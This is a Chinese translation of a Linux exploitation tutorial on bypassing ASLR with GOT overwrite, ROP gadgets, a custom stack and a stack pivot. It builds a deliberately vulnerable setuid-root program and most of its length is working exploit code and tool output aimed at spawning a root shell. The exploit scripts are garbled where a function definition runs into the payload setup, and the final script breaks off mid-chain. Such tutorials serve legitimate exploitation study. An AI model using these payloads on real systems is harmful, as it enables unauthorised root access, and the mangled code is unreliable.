繞過 ASLR – 第三部分
譯者: 飛龍 原文: Bypassing ASLR – Part III
預備條件:
VM 配置:Ubuntu 12.04 (x86)
在這篇文章中,讓我們看看如何使用 GOT 覆寫和解引用技巧。來繞過共享庫位址随機化。我們在第一部分中提到過,即使可執行檔案沒有所需的 PLT 樁代碼,攻擊者也可以使用 GOT 覆寫和解引用技巧來繞過 ASLR。
漏洞代碼:
// vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main (int argc, char **argv) {
char buf[256];
int i;
seteuid(getuid());
if(argc < 2) {
puts("Need an argument\n");
exit(-1);
}
strcpy(buf, argv[1]);
printf("%s\nLen:%d\n", buf, (int)strlen(buf));
return 0;
}
編譯指令:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
注意:
-
并沒有在我們的可執行檔案system@PLT
中出現。vuln
- 字元串
也沒有在我們的可執行檔案sh
vuln
什麼是 GOT 覆寫?
這個技巧幫助攻擊者,将特定 Libc 函數的 GOT 條目覆寫為另一個 Libc 函數的位址(在第一次調用之後)。但是它也可以覆寫為
execve
函數的位址 – 當偏移差加到
GOT[getuid]
的時候。我們已經知道了,在共享庫中,函數距離其基址的偏移永遠是固定的。是以,如果我們将兩個 Libc 函數的內插補點(
execve
和
getuid
)加到
getuid
的 GOT 條目,我們就得到了
execve
函數的位址。之後,調用
getuid
就會調用
execve
。
offset_diff = execve_addr - getuid_addr
GOT[getuid] = GOT[getuid] + offset_diff
什麼是 GOT 解引用?
這個技巧類似于 GOT 覆寫,但是這裡不會覆寫特定 Libc 函數的 GOT 條目,而是将它的值複制到寄存器中,并将偏移差加到寄存器的内容。是以,寄存器就含有所需的 Libc 函數位址。例如,
GOT[getuid]
包含
getuid
的函數位址,将其複制到寄存器。兩個 Libc 函數(
execve
getuid
)的偏移差加到寄存器的内容。現在跳到寄存器的值就調用了
execve
offset_diff = execve_addr - getuid_addr
eax = GOT[getuid]
eax = eax + offset_diff
這兩個技巧看起來類似,但是當緩沖區溢出發生時,如何在運作時期執行這些操作呢?我們需要識别出一個函數(它執行這些加法,并将結果複制到寄存器),并跳到特定的函數來完成 GOT 覆寫或解引用。但是很顯然,沒有單一的函數(不在 Libc 也不在我們的可執行檔案中)能夠為我們做這些。這裡我們使用 ROP。
什麼是 ROP?
ROP 是個技巧,其中攻擊者一旦得到了調用棧的控制之後,他就可以執行精心構造的機器指令,來執行它所需的操作,即使沒有直接的方式。例如,在 return-to-libc 攻擊中,我們将傳回位址覆寫為
system
的位址,來執行
system
。但是如果
system
(以及
execve
函數族)從 Libc 共享庫中溢出了,攻擊者就不能獲得 root shell。這時,ROP 就可以拯救攻擊者。在這個技巧中,即使任何所需的 Libc 函數都不存在,攻擊者可以通過執行一系列的零件(gadget),來模拟所需的 Libc 函數。
什麼是零件?
零件是一系列彙編指令,它們以
ret
彙編指令結尾。攻擊者使用零件位址來覆寫傳回位址,這個零件包含一系列彙編指令,它們類似于
system
開頭的一些彙編指令。是以,傳回到這個零件位址,就可以執行一部分
system
的功能。
system
功能的剩餘部分,通過傳回到一些其他零件來完成。由此,連結一系列的零件可以模拟
system
的功能。是以
system
即使移除了也能夠執行。
但是如何在可執行檔案中找到可用的零件?
可以使用零件工具來尋找。有很多工具,例如
ropeme、
ROPgadget rp++,它們有助于攻擊者在二進制中尋找零件。這些工具大多都尋找
ret
指令,之後往回看來尋找實用的機器指令序列。
在我們這裡,我們并不需要使用 ROP 零件倆模拟任何 Libc 函數,反之,我們需要覆寫 Libc 函數的 GOT 條目,或者確定任何寄存器指向 Libc 函數位址。讓我們看看如何使用 ROP 零件來完成 GOT 覆寫和解引用吧。
使用 ROP 的 GOT 覆寫
零件 1:首先我們需要一個零件,它将偏移差加到
GOT[getuid]
上。是以讓我們尋找一個
add
零件,它将結果複制到記憶體區域中。
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x080486fb: addb %dh, -0x01(%esi,%edi,8) ; jmpl *0x00(%ecx) ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
...
$
好的。我們找到了一個
add
零件,它将結果複制到記憶體區域中。現在如果我們可以使 EBX 包含
GOT[getuid] - 0x5d5b04c4
,并使 EAX 包含偏移差,我們就可以成功執行 GOT 覆寫。
零件 2:確定 EBX 包含
getuid
的 GOT 條目。
getuid
的 GOT 條目(在下面展示)位于
0x804a004
。是以 EBX 應該為
0x804a004
,但是由于
add
零件中,固定值
0x5d5b04c4
加到了 EBX,是以 EBX 應減去這個固定值,也就是
ebx = 0x804a004 -0x5d5b04c4 = 0xaaa99b40
。現在我們需要尋找一個零件,它将這個值
0xaaa99b40
複制到 EBX 寄存器中。
$ objdump -R vuln
vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT printf
0804a004 R_386_JUMP_SLOT getuid
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$
好的,我們找到了
pop ebx
零件。是以将該值
0xaaa99b40
壓入棧,并傳回到
pop ebx
之後, EBX 包含
0xaaa99b40
零件 3:確定 EAX 包含偏移差。是以我們需要找到一個零件,它将偏移差複制到 EAX 寄存器中。
$ gdb -q vuln
...
(gdb) p execve
$1 = {} 0xb761a1f0
(gdb) p getuid
$2 = {} 0xb761acc0
(gdb) p/x execve - getuid
$4 = 0xfffff530
(gdb)
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x080484a3: popl %ebp ; ret ; (1 found)
0x080485cf: popl %ebp ; ret ; (1 found)
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$
是以将偏移差
0xfffff530
壓入棧中,并傳回到
pop eax
指令,将偏移差複制給 EAX。但是不幸的是,在我們的二進制
vuln
中,我們不能找到
popl %eax; ret;
零件。是以 GOT 覆寫是不可能的。
棧布局:下面的圖檔描述了用于完成 GOT 覆寫的零件鍊。

使用 ROP 的 GOT 解引用
GOT[getuid]
,并且它的結果需要加載到寄存器中。是以讓我們尋找一個
add
零件,它将結果複制到寄存器中。
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 4
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
166 found.
A total of 166 gadgets found.
...
0x08048499: addl $0x0804A028, %eax ; addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x08048482: addl %esp, 0x0804A02C(%ebx) ; calll *0x08049F1C(,%eax,4) ; (1 found)
0x0804860e: addl -0x0B8A0008(%ebx), %eax ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
...
$
好的。我們找到一個
add
零件,它将結果複制到寄存器中。現在如果我們可以使 EBX 包含
GOT[getuid] + 0xb8a0008
,并使 EAX 包含偏移差,我們就可以成功執行 GOT 解引用。
零件 2:我們在 GOT 覆寫中看到,可執行檔案
vuln
中找到了
pop %ebx; ret;
零件 3:我們在 GOT 覆寫中看到,可執行檔案
vuln
中沒有找到
pop %eax; ret;
零件 4:通過調用寄存器來調用
execve
。是以我們需要
call *eax
零件。
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x080485bb: calll *%-0x000000E0(%ebx,%esi,4) ; (1 found)
0x080484cf: calll *%eax ; (1 found)
0x0804860b: calll *%eax ; (1 found)
...
$
好的。我們發現了
call *eax
零件。但是還是因為零件 3
popl %eax; ret;
沒有找到,GOT 解引用也是無法實作的。
棧布局:下面的圖檔描述了用于完成 GOT 解引用的零件鍊:
在似乎沒有更多方法時(至少對于我來說,當我開始了解 ROP 的時候),Reno 向我介紹了下面的解法,通過手動搜尋 ROP 零件。非常感謝,是以繼續吧。
手動搜尋 ROP 零件
由于 ROP 零件工具不能找到
pop eax;ret;
零件,讓我們手動搜尋來尋找,是否能找到任何有趣的零件,能夠幫助我們将偏移差複制給 EAX 寄存器。
反彙編二進制
vuln
(使用下面的指令):
$objdump -d vuln > out
零件 4:使用偏移差
0xfffff530
加載 EAX。反彙編展示了一個 MOV 指令,它将棧内容複制給 EAX:
80485b3: mov 0x34(%esp),%eax
80485b7: mov %eax,0x4(%esp)
80485bb: call *-0xe0(%ebx,%esi,4)
80485c2: add $0x1,%esi
80485c5: cmp %edi,%esi
80485c7: jne 80485a8 <__libc_csu_init+0x38>
80485c9: add $0x1c,%esp
80485cc: pop %ebx
80485cd: pop %esi
80485ce: pop %edi
80485cf: pop %ebp
80485d0: ret
但是
ret
(
0x80485d0
)看起來離這個指令(
0x80485b3
)很遠。是以這裡的挑戰是,在
ret
指令之前,我們需要保證 EAX 不被修改。
不修改 EAX:
這裡讓我們看看如何使 EAX 在
ret
指令(
0x80485d0
)之前不被修改。這是一個調用指令(
0x80485bb
),是以讓我們用這種方式來加載 EBX 和 ESI,就是調用指令會調用一個函數,它不修改 EAX。
_fini
看起來不修改 EAX。
0804861c <_fini>:
804861c: push %ebx
804861d: sub $0x8,%esp
8048620: call 8048625 <_fini+0x9>
8048625: pop %ebx
8048626: add $0x19cf,%ebx
804862c: call 8048450 <__do_global_dtors_aux>
8048631: add $0x8,%esp
8048634: pop %ebx
8048635: ret
08048450 <__do_global_dtors_aux>:
8048450: push %ebp
8048451: mov %esp,%ebp
8048453: push %ebx
8048454: sub $0x4,%esp
8048457: cmpb $0x0,0x804a028
804845e: jne 804849f <__do_global_dtors_aux+0x4f>
...
804849f: add $0x4,%esp
80484a2: pop %ebx
80484a3: pop %ebp
80484a4: ret
_fini
調用了
_do_global_dtors_aux
,在我們将記憶體位址
0x804a028
設為 1 的時候,這裡 EAX 可以可以保留下來。
為了調用
_fini
,EBX 和 ESI 的值是什麼呢?
- 首先我們需要尋找一個記憶體位址,它包含
的位址_fini
。像下面展示的那樣,記憶體位址0x804861c
包含了0x8049f3c
位址。_fini
0x8049f28 : 0x00000001 0x00000010 0x0000000c 0x08048354 0x8049f38 <_DYNAMIC+16>: 0x0000000d 0x0804861c 0x6ffffef5 0x080481ac 0x8049f48 <_DYNAMIC+32>: 0x00000005 0x0804826c
- 将 ESI 設為
。推薦這個值,因為我們不能将其設為0x01020101
,它是0x0
的漏洞代碼,零是壞字元。同樣,確定産生的值(儲存在 EBX 中)也不包含零。strcpy
- 像下面那樣設定 EBX:
ebx+esi*4-0xe0 = 0x8049f3c ebx = 0x8049f3c -(0x01020101*0x4) + 0xe0 ebx = 0x3fc9c18
是以,我們發現,為了調用
_fini
,我們需要確定 EBX 和 ESI 分别加載為
0x3fc9c18
0x01020101
同樣確定 EAX 不要在
_fini
的傳回處(
0x8048635
)和傳回指令(
0x80485d0
)之間修改。這可以通過設定
edi = esi + 1
來實作。如果設定了
edi = esi + 1
,跳轉指令
0x80485c7
就會確定控制流跳轉到
0x80485c9
的指令。之後我們可以看到,
0x80485c9
指令到傳回指令(
0x80485d0
)之間,EAX 都不會改動。
零件 5:将 EBX 加載為
0x3fc9c18
:
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$
零件 6:将 ESI 加載為
0x01020101
,EDI 加載為
0x01020102
:
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 3
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
135 found.
A total of 135 gadgets found.
...
0x080485ce: popl %edi ; popl %ebp ; ret ; (1 found)
0x080485cd: popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048390: pushl 0x08049FF8 ; jmpl *0x08049FFC ; (1 found)
...
$
零件 7:将
0x1
複制到記憶體位址
0x804a028
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 5
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
183 found.
A total of 183 gadgets found.
...
0x080485ca: les (%ebx,%ebx,2), %ebx ; popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048498: movb $0x00000001, 0x0804A028 ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
0x0804849b: movb 0x83010804, %al ; les (%ebx,%ebx,2), %eax ; popl %ebp ; ret ; (1 found)
...
$
現在我們完成了零件的搜尋。讓我們開始遊戲吧!
零件搜尋總結
- 為了零件 1 的成功調用,我們需要零件 2 和 3。
- 由于零件 3 不存在,我們執行手動搜尋,并找到了零件 4、5、6 和 7。
- 為了零件 4 的成功調用,我們需要零件 5、6 和 7。
利用代碼
下面的利用代碼使用
execve
函數位址覆寫了
GOT[getuid]
#!/usr/bin/env python
import struct
from subprocess import call
'''
G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
G3: 0x????????: popl %eax ; ret ; (NOT found)
G4: 0x080485b3: mov 0x34(%esp),%eax...
G5: 0x08048380: pop ebx ; ret ;
G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
G7: 0x08048498: movb $0x1,0x804a028...
'''
g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18 #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530
#endianess convertion
def conv(num):
return struct.pack("<I",num* 268 #Junk
buf += conv(g7) #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6) #pop esi; pop edi; pop ebp; ret;
buf += conv(esi) #esi
buf += conv(edi) #edi
buf += conv(dummy)
buf += conv(g5) #pop ebx; ret;
buf += conv(ebx) #ebx
buf += conv(g4) #mov 0x34(%esp),%eax; ...
for num in range(0,11):
buf += conv(dummy)
buf += conv(g2) #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40 #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1) #addl %eax, 0x5D5B04C4(%ebx); ret;
buf += "B" * 4
print "Calling vulnerable program"
call(["./vuln", buf])
執行上面的利用代碼會生成核心檔案。打開核心檔案來檢視
GOT[getuid]
被
execve
函數位址覆寫(在下面展示):
$ python oexp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����BBBB
Len:376
sploitfun@sploitfun-VirtualBox:~/lsploits/new/aslr/part3$ sudo gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/aslr/part3/vuln...(no debugging symbols found)...done.
(gdb) core-file core
[New LWP 18781]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x/1xw 0x804a004
0x804a004 <[email protected]>: 0xb761a1f0
(gdb) p getuid
$1 = {} 0xb761acc0
(gdb) p execve
$2 = {} 0xb761a1f0
(gdb)
好的,我們已經成功将
getuid
的 GOT 條目覆寫為
execve
的位址。因為現在為止,任何
getuid
的調用都會調用
execve
派生 root shell
我們的利用還沒完,我們剛剛執行了 GOT 覆寫,還需要派生出 root shell。為了派生 root shell,将下面的 Libc 函數(以及它們的參數)複制到棧上。
seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3
其中:
-
setuid@PLT
的 PLT 代碼位址(setuid
)。0x80483c0
-
getuid@PLT
getuid
),但是這回調用0x80483b0
,因為我們已經執行了 GOT 覆寫。execve
-
應該為 0 來獲得 root shell。seteuid_arg
-
– 檔案名稱 – 字元串execve_arg1
的位址。/bin/sh
-
–execve_arg2
– 參數數組的位址,它的内容是argv
[Address of “/bin/sh”, NULL]
-
execve_arg3
envp
NULL
我們在第五篇中看到,因為我們不能直接使用 0 來溢出緩沖區(因為 0 是壞字元),我們可以使用
strcpy
鍊來複制 0 代替
seteuid_arg
。但是這個解法不能在這裡使用,因為棧是随機化的,知道
seteuid_arg
的棧上位置的準确位址十分困難。
如何繞過棧位址随機化?
可以使用自定義棧和 stack pivot 技巧來繞過它。
什麼是自定義棧?
自定義棧是由攻擊者控制的棧區域。它複制 Libc 函數鍊,以及函數參數來繞過棧随機化。由于攻擊者選擇了任何非位置獨立和可寫的程序的記憶體區域作為自定義棧,是以可以繞過。在我們的二進制
vuln
中,可寫和非位置獨立的記憶體區域,是
0x804a000
0x804b000
(在下面展示):
$ cat /proc//maps
08048000-08049000 r-xp 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
08049000-0804a000 r--p 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
0804a000-0804b000 rw-p 00001000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
b7e21000-b7e22000 rw-p 00000000 00:00 0
b7e22000-b7fc5000 r-xp 00000000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc5000-b7fc7000 r--p 001a3000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc7000-b7fc8000 rw-p 001a5000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc8000-b7fcb000 rw-p 00000000 00:00 0
b7fdb000-b7fdd000 rw-p 00000000 00:00 0
b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
$
例如,包含
.data
.bss
段的記憶體區域可以用作自定義棧位置。我選擇了
0x804a360
作為自定義棧位置。
現在選擇自定義棧位置之後,我們需要将 Libc 函數鍊以及它們的函數複制到自定義棧中。我們這裡,将下面的 Libc 函數(以及它們的參數)複制到自定義棧位置,以便派生 root shell。
seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3
為了将這些内容複制到棧上,我們需要将實際棧的傳回位址,覆寫為一系列
strcpy
調用。例如,為了将
seteuid@PLT (0x80483c0)
複制到自定義棧上,我們需要:
- 四個
調用 – 每個十六進制值(strcpy
)使用一個0x08, 0x04, 0x83, 0xc0
調用。strcpy
-
的來源參數應該是可執行記憶體區域的位址,它包含所需的十六進制值,并且我們也需要確定這個值不被改動,它在所選的記憶體區域存在。strcpy
-
的目标參數應該是自定義棧位置的目标位址。strcpy
遵循上面的過程,我們就建立了完整的自定義棧。一旦自定義棧建立完成,我們需要将自定義棧移動到真實的棧上,使用 stack pivot 技巧。
什麼是 stack pivot?
stack pivot 使用
leave ret
指令來實作。我們已經知道了,
leave
指令會翻譯為:
mov ebp, esp
pop ebp
是以在
leave
指令之前,使用自定義棧位址來加載 EBP – 當
leave
指令執行時,會使 ESP 指向 EBP。是以,在轉移到自定義棧之後,我們會繼續執行一 Libc 函數序列,它們加載到了自定義棧上,然後就獲得了 root shell。
完整的利用代碼
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#GOT overwrite using ROP gadgets
'''
G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
G3: 0x????????: popl %eax ; ret ; (NOT found)
G4: 0x080485b3: mov 0x34(%esp),%eax...
G5: 0x08048380: pop ebx ; ret ;
G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
G7: 0x08048498: movb $0x1,0x804a028...
'''
g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18 #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530
#Custom Stack
#0x804a360 - Dummy EBP|seteuid@PLT|getuid@PLT|seteuid_arg|execve_arg1|execve_arg2|execve_arg3
cust_esp = 0x804a360 #Custom stack base address
cust_base_esp = 0x804a360 #Custom stack base address
#seteuid@PLT 0x80483c0
seteuid_oct1 = 0x8048143 #08
seteuid_oct2 = 0x8048130 #04
seteuid_oct3 = 0x8048355 #83
seteuid_oct4 = 0x80481cb #c0
#getuid@PLT 0x80483b0
getuid_oct1 = 0x8048143 #08
getuid_oct2 = 0x8048130 #04
getuid_oct3 = 0x8048355 #83
getuid_oct4 = 0x80483dc #b0
#seteuid_arg 0x00000000
seteuid_null_arg = 0x804a360
#execve_arg1 0x804ac60
execve_arg1_oct1 = 0x8048143 #08
execve_arg1_oct2 = 0x8048130 #04
execve_arg1_oct3 = 0x8048f44 #AC
execve_arg1_oct4 = 0x804819a #60
#execve_arg2 0x804ac68
execve_arg2_oct1 = 0x8048143 #08
execve_arg2_oct2 = 0x8048130 #04
execve_arg2_oct3 = 0x8048f44 #AC
execve_arg2_oct4 = 0x80483a6 #68
#execve_arg3 0x00000000
execve_null_arg = 0x804a360
execve_path_dst = 0x804ac60 #Custom stack location which contains execve_path "/bin/sh"
execve_path_oct1 = 0x8048154 #/
execve_path_oct2 = 0x8048157 #b
execve_path_oct3 = 0x8048156 #i
execve_path_oct4 = 0x804815e #n
execve_path_oct5 = 0x8048162 #s
execve_path_oct6 = 0x80483a6 #h
execve_argv_dst = 0x804ac68 #Custom stack location which contains execve_argv [0x804ac60, 0x0]
execve_argv1_oct1 = 0x8048143 #08
execve_argv1_oct2 = 0x8048130 #04
execve_argv1_oct3 = 0x8048f44 #AC
execve_argv1_oct4 = 0x804819a #60
strcpy_plt = 0x80483d0 #strcpy@PLT
ppr_addr = 0x080485ce #popl %edi ; popl %ebp ; ret ;
#Stack Pivot
pr_addr = 0x080484a3 #popl %ebp ; ret ;
lr_addr = 0x08048569 #leave ; ret ;
#endianess convertion
def conv(num):
return struct.pack("<I",num* 268 #Junk
buf += conv(g7) #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6) #pop esi; pop edi; pop ebp; ret;
buf += conv(esi) #esi
buf += conv(edi) #edi
buf += conv(dummy)
buf += conv(g5) #pop ebx; ret;
buf += conv(ebx) #ebx
buf += conv(g4) #mov 0x34(%esp),%eax; ...
for num in range(0,11):
buf += conv(dummy)
buf += conv(g2) #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40 #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1) #addl %eax, 0x5D5B04C4(%ebx); ret;
#Custom Stack
#Below stack frames are for strcpy (to copy seteuid@PLT to custom stack)
cust_esp += 4 #Increment by 4 to get past Dummy EBP.
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct1)
#Below stack frames are for strcpy (to copy getuid@PLT to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct1)
#Below stack frames are for strcpy (to copy seteuid arg to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
#Below stack frames are for strcpy (to copy execve_arg1 to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct1)
#Below stack frames are for strcpy (to copy execve_arg2 to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct1)
#Below stack frames are for strcpy (to copy execve_arg3 to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
#Below stack frame is for strcpy (to copy execve path "/bin/sh" to custom stack @ loc 0x804ac60)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct2)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct3)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct4)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
